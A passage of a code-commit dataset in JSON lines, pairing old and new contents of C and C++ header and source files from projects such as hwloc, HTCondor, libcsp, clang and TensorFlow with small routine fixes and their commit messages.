systemClockTimerConfig.PrescaleValue = SystemCoreClock \/ (4 * 1000);\n    TIM_Init(SYSTEM_CLOCK_TIMER, TIM_TIMER_MODE, &systemClockTimerConfig);\n    TIM_Cmd(SYSTEM_CLOCK_TIMER, ENABLE);\n}\n","subject":"Store system clock as milliseconds, not microseconds.","message":"Store system clock as milliseconds, not microseconds.\n","lang":"C","license":"bsd-3-clause","repos":"ene-ilies\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,mgiannikouris\/vi-firmware,openxc\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,mgiannikouris\/vi-firmware"}
{"commit":"8bf1dce53748298038119b458ea86a2e6b2ad15b","old_file":"src\/gui\/document.h","new_file":"src\/gui\/document.h","old_contents":"\/*\n * Copyright (C) 2008-2013 The Communi Project\n *\n * This example is free, and not covered by the LGPL license. There is no\n * restriction applied to their modification, redistribution, using and so on.\n * You can study them, modify them, use them in your own program - either\n * completely or partially.\n *\/\n\n#ifndef DOCUMENT_H\n#define DOCUMENT_H\n\n#include \"textdocument.h\"\n\nclass IrcBuffer;\nclass IrcMessage;\nclass MessageFormatter;\n\nclass Document : public TextDocument\n{\n    Q_OBJECT\n\npublic:\n    Document(IrcBuffer* buffer);\n    ~Document();\n\n    IrcBuffer* buffer() const;\n\n    static Document* instance(IrcBuffer* buffer = 0);\n\npublic slots:\n    void addBuffer(IrcBuffer* buffer);\n    void removeBuffer(IrcBuffer* buffer);\n\nprivate slots:\n    void receiveMessage(IrcMessage* message);\n\nprivate:\n    struct Private {\n        IrcBuffer* buffer;\n        MessageFormatter* formatter;\n    } d;\n};\n\n#endif \/\/ DOCUMENT_H\n","new_contents":"\/*\n * Copyright (C) 2008-2013 The Communi Project\n *\n * This example is free, and not covered by the LGPL license. There is no\n * restriction applied to their modification, redistribution, using and so on.\n * You can study them, modify them, use them in your own program - either\n * completely or partially.\n *\/\n\n#ifndef DOCUMENT_H\n#define DOCUMENT_H\n\n#include \"textdocument.h\"\n\nclass IrcBuffer;\nclass IrcMessage;\nclass MessageFormatter;\n\nclass Document : public TextDocument\n{\n    Q_OBJECT\n\npublic:\n    Document(IrcBuffer* buffer);\n    ~Document();\n\n    IrcBuffer* buffer() const;\n\n    static Document* instance(IrcBuffer* buffer = 0);\n\npublic slots:\n    static void addBuffer(IrcBuffer* buffer);\n    static void removeBuffer(IrcBuffer* buffer);\n\nprivate slots:\n    void receiveMessage(IrcMessage* message);\n\nprivate:\n    struct Private {\n        IrcBuffer* buffer;\n        MessageFormatter* formatter;\n    } d;\n};\n\n#endif \/\/ DOCUMENT_H\n","subject":"Make Document::add() and remove() static","message":"Make Document::add() and remove() static\n","lang":"C","license":"bsd-3-clause","repos":"jpnurmi\/communi-desktop,sevanteri\/communi-desktop,gdamjan\/communi-desktop,communi\/communi-desktop,communi\/communi-desktop"}
{"commit":"b641a5194c9c11cc495cad2404207f47f7d6aa54","old_file":"utils\/lstopo-xml.c","new_file":"utils\/lstopo-xml.c","old_contents":"\/*\n * Copyright © 2009 CNRS, INRIA, Université Bordeaux 1\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/config.h>\n\n#ifdef HAVE_XML\n\n#include <hwloc.h>\n\n#include \"lstopo.h\"\n\nvoid output_xml(hwloc_topology_t topology, const char *filename, int verbose_mode)\n{\n  if (!strcasecmp(filename, \"-.xml\"))\n    filename = \"-\";\n\n  hwloc_topology_export_xml(topology, filename);\n}\n\n#endif \/* HAVE_XML *\/\n","new_contents":"\/*\n * Copyright © 2009 CNRS, INRIA, Université Bordeaux 1\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/config.h>\n\n#ifdef HAVE_XML\n\n#include <hwloc.h>\n#include <string.h>\n\n#include \"lstopo.h\"\n\nvoid output_xml(hwloc_topology_t topology, const char *filename, int verbose_mode)\n{\n  if (!strcasecmp(filename, \"-.xml\"))\n    filename = \"-\";\n\n  hwloc_topology_export_xml(topology, filename);\n}\n\n#endif \/* HAVE_XML *\/\n","subject":"Fix compiler warning complaining about un-proto...","message":"Fix compiler warning complaining about un-proto...\n\nFix compiler warning complaining about un-prototyped strcasecmp().\n\nThis commit was SVN r1191.\n","lang":"C","license":"bsd-3-clause","repos":"ggouaillardet\/hwloc,ggouaillardet\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc,shekkbuilder\/hwloc,shekkbuilder\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc"}
{"commit":"30c1b638dd5d5ec429067a3b2d386bf3f585bdd1","old_file":"sdch_handler.h","new_file":"sdch_handler.h","old_contents":"\/\/ Copyright (c) 2015 Yandex LLC. All rights reserved.\n\/\/ Author: Vasily Chekalkin <bacek@yandex-team.ru>\n\n#ifndef SDCH_HANDLER_H_\n#define SDCH_HANDLER_H_\n\nnamespace sdch {\n\n\/\/ SDCH Handler chain.\nclass Handler {\n public:\n  \/\/ Construct Handler with pointer to the next Handler.\n  \/\/ We don't own this pointer. It's owned by nginx pool.\n  explicit Handler(Handler* next) : next_(next) {}\n  virtual ~Handler();\n\n  \/\/ Handle chunk of data. For example encode it with VCDIFF.\n  \/\/ Almost every Handler should call next_->on_data() to keep chain.\n  virtual void on_data(const char* buf, size_t len) = 0;\n\n protected:\n  Handler* next_;\n};\n\n\n}  \/\/ namespace sdch\n\n#endif  \/\/ SDCH_HANDLER_H_\n\n","new_contents":"\/\/ Copyright (c) 2015 Yandex LLC. All rights reserved.\n\/\/ Author: Vasily Chekalkin <bacek@yandex-team.ru>\n\n#ifndef SDCH_HANDLER_H_\n#define SDCH_HANDLER_H_\n\n#include <cstring>  \/\/ For size_t\n\nnamespace sdch {\n\n\/\/ SDCH Handler chain.\nclass Handler {\n public:\n  \/\/ Construct Handler with pointer to the next Handler.\n  \/\/ We don't own this pointer. It's owned by nginx pool.\n  explicit Handler(Handler* next) : next_(next) {}\n  virtual ~Handler();\n\n  \/\/ Handle chunk of data. For example encode it with VCDIFF.\n  \/\/ Almost every Handler should call next_->on_data() to keep chain.\n  virtual void on_data(const char* buf, size_t len) = 0;\n\n protected:\n  Handler* next_;\n};\n\n\n}  \/\/ namespace sdch\n\n#endif  \/\/ SDCH_HANDLER_H_\n\n","subject":"Fix compilation by using cstring include for size_t definition","message":"Fix compilation by using cstring include for size_t definition\n","lang":"C","license":"mit","repos":"yandex\/sdch_module,yandex\/sdch_module,yandex\/sdch_module,yandex\/sdch_module"}
{"commit":"c88a81fc3174e3989a0d75f68f2836ab55f1639e","old_file":"src\/arch\/freertos\/csp_semaphore.c","new_file":"src\/arch\/freertos\/csp_semaphore.c","old_contents":"\n\n#include <FreeRTOS.h>\n#include <semphr.h>\n\n#include <csp\/arch\/csp_semaphore.h>\n#include <csp\/csp_debug.h>\n#include <csp\/csp.h>\n\nvoid csp_bin_sem_init(csp_bin_sem_t * sem) {\n\txSemaphoreCreateBinaryStatic(sem);\n\txSemaphoreGive(sem);\n}\n\nint csp_bin_sem_wait(csp_bin_sem_t * sem, uint32_t timeout) {\n\tcsp_log_lock(\"Wait: %p\", sem);\n\tif (timeout != CSP_MAX_TIMEOUT) {\n\t\ttimeout = timeout \/ portTICK_PERIOD_MS;\n\t}\n\tif (xSemaphoreTake((QueueHandle_t) sem, timeout) == pdPASS) {\n\t\treturn CSP_SEMAPHORE_OK;\n\t}\n\treturn CSP_SEMAPHORE_ERROR;\n}\n\nint csp_bin_sem_post(csp_bin_sem_t * sem) {\n\tcsp_log_lock(\"Post: %p\", sem);\n\tif (xSemaphoreGive((QueueHandle_t)sem) == pdPASS) {\n\t\treturn CSP_SEMAPHORE_OK;\n\t}\n\treturn CSP_SEMAPHORE_ERROR;\n}","new_contents":"\n\n#include <FreeRTOS.h>\n#include <semphr.h>\n\n#include <csp\/arch\/csp_semaphore.h>\n#include <csp\/csp_debug.h>\n#include <csp\/csp.h>\n\nvoid csp_bin_sem_init(csp_bin_sem_t * sem) {\n\txSemaphoreCreateBinaryStatic(sem);\n\txSemaphoreGive(sem);\n}\n\nint csp_bin_sem_wait(csp_bin_sem_t * sem, unsigned int timeout) {\n\tcsp_log_lock(\"Wait: %p\", sem);\n\tif (timeout != CSP_MAX_TIMEOUT) {\n\t\ttimeout = timeout \/ portTICK_PERIOD_MS;\n\t}\n\tif (xSemaphoreTake((QueueHandle_t) sem, timeout) == pdPASS) {\n\t\treturn CSP_SEMAPHORE_OK;\n\t}\n\treturn CSP_SEMAPHORE_ERROR;\n}\n\nint csp_bin_sem_post(csp_bin_sem_t * sem) {\n\tcsp_log_lock(\"Post: %p\", sem);\n\tif (xSemaphoreGive((QueueHandle_t)sem) == pdPASS) {\n\t\treturn CSP_SEMAPHORE_OK;\n\t}\n\treturn CSP_SEMAPHORE_ERROR;\n}","subject":"Fix function prototype for sem_wait on freertos","message":"Fix function prototype for sem_wait on freertos\n","lang":"C","license":"mit","repos":"libcsp\/libcsp,libcsp\/libcsp"}
{"commit":"7fa397ca3c0d036c835318c9214a9b7343dfcb8d","old_file":"src\/condor_ckpt\/condor_syscalls.h","new_file":"src\/condor_ckpt\/condor_syscalls.h","old_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix32.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if 0\n#if defined(AIX32) && defined(__cplusplus)\n\tint syscall( ... );\n#elif defined(ULTRIX42) && defined(__cplusplus)\n\tint syscall( ... );\n#else\n\tint syscall( int, ... );\n#endif\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix32.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if 0\n#if defined(AIX32) && defined(__cplusplus)\n\tint syscall( ... );\n#elif defined(ULTRIX42) && defined(__cplusplus)\n\tint syscall( ... );\n#else\n\tint syscall( int, ... );\n#endif\n#endif\n\n#if defined(OSF1)\n\tint syscall( int, ... );\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Put prototype for syscall() in for OSF\/1 machines.","message":"Put prototype for syscall() in for OSF\/1 machines.\n","lang":"C","license":"apache-2.0","repos":"neurodebian\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/condor,htcondor\/htcondor,htcondor\/htcondor,djw8605\/condor,htcondor\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,zhangzhehust\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting"}
{"commit":"67cd74ec17e6061d70d38d48b7c56ce448063f35","old_file":"test\/Driver\/output-file-is-dir.c","new_file":"test\/Driver\/output-file-is-dir.c","old_contents":"\/\/ XFAIL: hexagon\n\/\/ RUN: rm -rf %t.dir\n\/\/ RUN: mkdir -p %t.dir\/a.out\n\/\/ RUN: cd %t.dir && not %clang %s\n\/\/ RUN: test -d %t.dir\/a.out\n\/\/ REQUIRES: shell\n\nint main() { return 0; }\n","new_contents":"\/\/ RUN: rm -rf %t.dir\n\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: not %clang %s -c -emit-llvm -o %t.dir\n\/\/ RUN: test -d %t.dir\n\nint main() { return 0; }\n","subject":"Simplify test so that it is more portable.","message":"Simplify test so that it is more portable.\n\nI have checked that the test still fails when the \"|| !P.isRegularFile()\" from\nthe original patch is removed.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@179464 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"605ec1ec715d3c33b54152e1797b4241b2c3ef89","old_file":"DigitRecognizerSDK\/BNNSHelpers.h","new_file":"DigitRecognizerSDK\/BNNSHelpers.h","old_contents":"\/\/\n\/\/  BNNSHelpers.h\n\/\/  NumberPad\n\/\/\n\/\/  Created by Bridger Maxwell on 9\/1\/16.\n\/\/  Copyright © 2016 Bridger Maxwell. All rights reserved.\n\/\/\n\n#include <Accelerate\/Accelerate.h>\n\nBNNSFilterParameters createEmptyBNNSFilterParameters();\n","new_contents":"\/\/\n\/\/  BNNSHelpers.h\n\/\/  NumberPad\n\/\/\n\/\/  Created by Bridger Maxwell on 9\/1\/16.\n\/\/  Copyright © 2016 Bridger Maxwell. All rights reserved.\n\/\/\n\n@import Accelerate;\n\nBNNSFilterParameters createEmptyBNNSFilterParameters();\n","subject":"Fix intermittent build error about non-modular header.","message":"Fix intermittent build error about non-modular header.\n","lang":"C","license":"apache-2.0","repos":"bridger\/NumberPad,bridger\/NumberPad,bridger\/NumberPad"}
{"commit":"be0d3253f7e2ca4fc4912df8021c32b171ce4bc7","old_file":"src\/dirutils.h","new_file":"src\/dirutils.h","old_contents":"\/*\n * Copyright (c) 2012 Kyle Isom <kyle@tyrfingr.is>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA\n * OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER\n * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\n * PERFORMANCE OF THIS SOFTWARE.\n * ---------------------------------------------------------------------\n *\/\n\n\n#ifndef __VOLTAIRE_MAKEDIR_H\n#define __VOLTAIRE_MAKEDIR_H\n\n\n#include <sys\/queue.h>\n#include <stdio.h>\n\nenum E_EXISTS_STATUS {\n        EXISTS_ERROR,\n        EXISTS_NOENT,\n        EXISTS_NOPERM,\n        EXISTS_DIR,\n        EXISTS_FILE\n};\ntypedef enum E_EXISTS_STATUS EXISTS_STATUS;\n\n\nint             makedirs(const char *, size_t);\nint             rmdirs(const char *, size_t);\nEXISTS_STATUS   path_exists(const char *, size_t);\n\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2012 Kyle Isom <kyle@tyrfingr.is>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA\n * OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER\n * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\n * PERFORMANCE OF THIS SOFTWARE.\n * ---------------------------------------------------------------------\n *\/\n\n\n#ifndef __DIRUTILS_MAKEDIR_H\n#define __DIRUTILS_MAKEDIR_H\n\n\n#include <sys\/queue.h>\n#include <stdio.h>\n\nenum E_EXISTS_STATUS {\n        EXISTS_ERROR,\n        EXISTS_NOENT,\n        EXISTS_NOPERM,\n        EXISTS_DIR,\n        EXISTS_FILE\n};\ntypedef enum E_EXISTS_STATUS EXISTS_STATUS;\n\n\nint             makedirs(const char *, size_t);\nint             rmdirs(const char *, size_t);\nEXISTS_STATUS   path_exists(const char *, size_t);\n\n\n#endif\n","subject":"Include guard reflects the new project name.","message":"Include guard reflects the new project name.\n\nThe old include guards were an artifact of the presence of this\ncode in another project before it was split out.\n","lang":"C","license":"isc","repos":"kisom\/libdirutils,kisom\/libdirutils"}
{"commit":"4492babe6ef32033f3e664b99873f8a5ea1dd052","old_file":"src\/dynamite.c","new_file":"src\/dynamite.c","old_contents":"\/* $Id$ *\/\n#include \"libdynamite.h\"\n#include <stdio.h>\n\n#define FCLOSE(file)    if (file) { fclose(file); file = NULL; }\n\ntypedef struct _Cookie\n{\n  FILE* input_file;\n  FILE* output_file;\n} Cookie;\n\nstatic size_t reader(void* buffer, size_t size, void* cookie)\n{\n  return fread(buffer, 1, size, ((Cookie*)cookie)->input_file);\n}\n\nstatic size_t writer(void* buffer, size_t size, void* cookie)\n{\n  return fwrite(buffer, 1, size, ((Cookie*)cookie)->output_file);\n}\n\nint main(int argc, char** argv)\n{\n  int result = -1;\n  Cookie cookie;\n\n  cookie.input_file   = fopen(argv[1], \"r\");\n  cookie.output_file  = fopen(argv[2], \"w\");\n\n  result = dynamite_explode(reader, writer, &cookie);\n\n  FCLOSE(cookie.input_file);\n  FCLOSE(cookie.output_file);\n  return result;\n}\n","new_contents":"\/* $Id$ *\/\n#include \"libdynamite.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\n#define FCLOSE(file)    if (file) { fclose(file); file = NULL; }\n\ntypedef struct _Cookie\n{\n  FILE* input_file;\n  FILE* output_file;\n} Cookie;\n\nstatic size_t reader(void* buffer, size_t size, void* cookie)\n{\n  return fread(buffer, 1, size, ((Cookie*)cookie)->input_file);\n}\n\nstatic size_t writer(void* buffer, size_t size, void* cookie)\n{\n  return fwrite(buffer, 1, size, ((Cookie*)cookie)->output_file);\n}\n\nint main(int argc, char** argv)\n{\n  int result = -1;\n  Cookie cookie;\n\n  if (argc < 3)\n  {\n    fprintf(stderr, \"Missing filenames\");\n    return 1;\n  }\n\n  cookie.input_file   = fopen(argv[1], \"r\");\n  cookie.output_file  = fopen(argv[2], \"w\");\n\n  if (argc >= 4)\n  {\n    fseek(cookie.input_file, strtol(argv[3], NULL, 0), SEEK_SET);\n  }\n\n  result = dynamite_explode(reader, writer, &cookie);\n\n  FCLOSE(cookie.input_file);\n  FCLOSE(cookie.output_file);\n  return result;\n}\n","subject":"Allow a third parameter for offset","message":"Allow a third parameter for offset\n\n","lang":"C","license":"mit","repos":"twogood\/dynamite,twogood\/dynamite"}
{"commit":"a32664dda237c16411c337b63483ad446b24ba4a","old_file":"src\/libxively\/xi_allocator_wmsdk.h","new_file":"src\/libxively\/xi_allocator_wmsdk.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2003-2013, LogMeIn, Inc. All rights reserved.\n\/\/ This is part of Xively C library, it is under the BSD 3-Clause license.\n\n\/**\n * \\file\txi_allocator_wmsdk.h\n * \\author  Olgierd Humenczuk\n * \\brief   Our custom `alloc()` and `free()` [see xi_allocator.h]\n *\/\n\n#ifndef __XI_ALLOCATOR_STDLIB_H__\n#define __XI_ALLOCATOR_STDLIB_H__\n\n#include <wm_os.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstatic inline void* xi_alloc( size_t b )\n{\n    return ( void* ) os_mem_alloc( b );\n}\n\nstatic inline void xi_free( void* p )\n{\n    os_mem_free( p );\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add back the allocator implementation for WMSDK","message":"[fix] Add back the allocator implementation for WMSDK\n","lang":"C","license":"bsd-3-clause","repos":"foss-for-synopsys-dwc-arc-processors\/libxively,foss-for-synopsys-dwc-arc-processors\/libxively"}
{"commit":"6aa29c5cc51bc2018b76fd70c20c5f2621bf6853","old_file":"src\/multithread.c","new_file":"src\/multithread.c","old_contents":"#include <stdlib.h>\n#include <pthread.h>\n\n#include \"multithread.h\"\n\nmt_threads *mt_threads_create(unsigned nthreads)\n{\n        mt_threads *threads = (mt_threads *) malloc(sizeof(mt_threads));\n        if (!threads)\n                return NULL;\n        threads->contexts = (mt_context *) malloc(sizeof(mt_context) * nthreads);\n        threads->nthreads = nthreads;\n        unsigned i;\n        for (i = 0; i < nthreads; i++)\n                threads->contexts[i].thread_id = i;\n        return threads;\n}\n\nvoid mt_threads_free(mt_threads *threads)\n{\n        free(threads->contexts);\n        free(threads);\n}\n\nvoid mt_threads_start(mt_threads *threads, void*(*runner)(void *))\n{\n        unsigned i;\n        for (i = 0; i < threads->nthreads; i++)\n                pthread_create(&threads->contexts[i].pthread, NULL, runner, &threads->contexts[i]);\n}\n\nvoid mt_threads_join(mt_threads *threads)\n{\n        unsigned i;\n        for (i = 0; i < threads->nthreads; i++)\n                pthread_join(threads->contexts[i].pthread, NULL);\n}\n\n","new_contents":"#include <stdlib.h>\n#include <pthread.h>\n\n#include \"multithread.h\"\n\n#define THREAD_STACK_SIZE (256*1024)\n\nmt_threads *mt_threads_create(unsigned nthreads)\n{\n        mt_threads *threads = (mt_threads *) malloc(sizeof(mt_threads));\n        if (!threads)\n                return NULL;\n        threads->contexts = (mt_context *) malloc(sizeof(mt_context) * nthreads);\n        threads->nthreads = nthreads;\n        unsigned i;\n        for (i = 0; i < nthreads; i++)\n                threads->contexts[i].thread_id = i;\n        return threads;\n}\n\nvoid mt_threads_free(mt_threads *threads)\n{\n        free(threads->contexts);\n        free(threads);\n}\n\nvoid mt_threads_start(mt_threads *threads, void*(*runner)(void *))\n{\n        pthread_attr_t attr;\n        pthread_attr_init(&attr);\n        pthread_attr_setstacksize(&attr, THREAD_STACK_SIZE);\n\n        unsigned i;\n        for (i = 0; i < threads->nthreads; i++) {\n                pthread_create(&threads->contexts[i].pthread, &attr, runner, &threads->contexts[i]);\n        }\n}\n\nvoid mt_threads_join(mt_threads *threads)\n{\n        unsigned i;\n        for (i = 0; i < threads->nthreads; i++)\n                pthread_join(threads->contexts[i].pthread, NULL);\n}\n\n","subject":"Set thread stack size to 256K","message":"Set thread stack size to 256K\n","lang":"C","license":"bsd-3-clause","repos":"calmh\/ClusteredPoller,calmh\/ClusteredPoller"}
{"commit":"83159dee4c0c1408ade1fd5b6fe737533045a9a3","old_file":"Interpolator\/IPSourceController.h","new_file":"Interpolator\/IPSourceController.h","old_contents":"#import <Cocoa\/Cocoa.h>\n\n#import \"IPCurveStorage.h\"\n#import \"IPCurveView.h\"\n\n@interface IPSourceController : NSObject <NSTableViewDelegate>\n{\n    IBOutlet NSTableView * curveSetChooser;\n\n    IBOutlet IPCurveView * controlPointView;\n    IBOutlet IPCurveStorage * curveStorage;\n}\n\n- (int)numberOfRowsInTableView:(NSTableView *)tableView;\n\n- (id)tableView:(NSTableView *)tableView\n    objectValueForTableColumn:(NSTableColumn *)tableColumn row:(int)row;\n\n- (void)tableViewSelectionDidChange:(NSNotification *)aNotification;\n\n@end\n","new_contents":"#import <Cocoa\/Cocoa.h>\n\n#import \"IPCurveStorage.h\"\n#import \"IPCurveView.h\"\n\n@interface IPSourceController : NSObject <NSTableViewDelegate>\n{\n    IBOutlet NSTableView * curveSetChooser;\n\n    IBOutlet IPCurveView * controlPointView;\n    IBOutlet IPCurveStorage * curveStorage;\n}\n\n- (int)numberOfRowsInTableView:(NSTableView *)tableView;\n\n- (id)tableView:(NSTableView *)tableView\n    objectValueForTableColumn:(NSTableColumn *)tableColumn row:(int)row;\n\n- (void)tableViewSelectionDidChange:(NSNotification *)aNotification;\n\n- (void)tableView:(NSTableView *)aTableView setObjectValue:(id)anObject\n    forTableColumn:(NSTableColumn *)aTableColumn row:(int)row;\n\n@end\n","subject":"Add tableview editing function to header","message":"Add tableview editing function to header\n","lang":"C","license":"bsd-2-clause","repos":"hortont424\/particles,hortont424\/particles,hortont424\/particles,hortont424\/particles"}
{"commit":"2ba7ec1680f6462122a11f1748f04e1747d8d2e0","old_file":"tensorflow\/core\/platform\/variant_coding.h","new_file":"tensorflow\/core\/platform\/variant_coding.h","old_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_PLATFORM_VARIANT_CODING_H_\n#define TENSORFLOW_PLATFORM_VARIANT_CODING_H_\n\n#include \"tensorflow\/core\/framework\/variant.h\"\n\n#ifdef PLATFORM_GOOGLE\n#include \"tensorflow\/core\/platform\/google\/variant_cord_coding.h\"\n#endif\n\nnamespace tensorflow {\nnamespace port {\n\n\/\/ Encodes an array of Variant objects in to the given string.\n\/\/ `variant_array` is assumed to point to an array of `n` Variant objects.\nvoid EncodeVariantList(const Variant* variant_array, int64 n, string* out);\n\n\/\/ Decodes an array of Variant objects from the given string.\n\/\/ `variant_array` is assumed to point to an array of `n` Variant objects.\nbool DecodeVariantList(const string& in, Variant* variant_array, int64 n);\n\n}  \/\/ end namespace port\n}  \/\/ end namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_PLATFORM_VARIANT_CODING_H_\n","new_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_PLATFORM_VARIANT_CODING_H_\n#define TENSORFLOW_PLATFORM_VARIANT_CODING_H_\n\n#include \"tensorflow\/core\/framework\/variant.h\"\n#include \"tensorflow\/core\/framework\/variant_encode_decode.h\"\n\n#ifdef PLATFORM_GOOGLE\n#include \"tensorflow\/core\/platform\/google\/variant_cord_coding.h\"\n#endif\n\nnamespace tensorflow {\nnamespace port {\n\n\/\/ Encodes an array of Variant objects in to the given string.\n\/\/ `variant_array` is assumed to point to an array of `n` Variant objects.\nvoid EncodeVariantList(const Variant* variant_array, int64 n, string* out);\n\n\/\/ Decodes an array of Variant objects from the given string.\n\/\/ `variant_array` is assumed to point to an array of `n` Variant objects.\nbool DecodeVariantList(const string& in, Variant* variant_array, int64 n);\n\n}  \/\/ end namespace port\n}  \/\/ end namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_PLATFORM_VARIANT_CODING_H_\n","subject":"Fix link time bug caused by missing header include.","message":"Fix link time bug caused by missing header include.\n\nPiperOrigin-RevId: 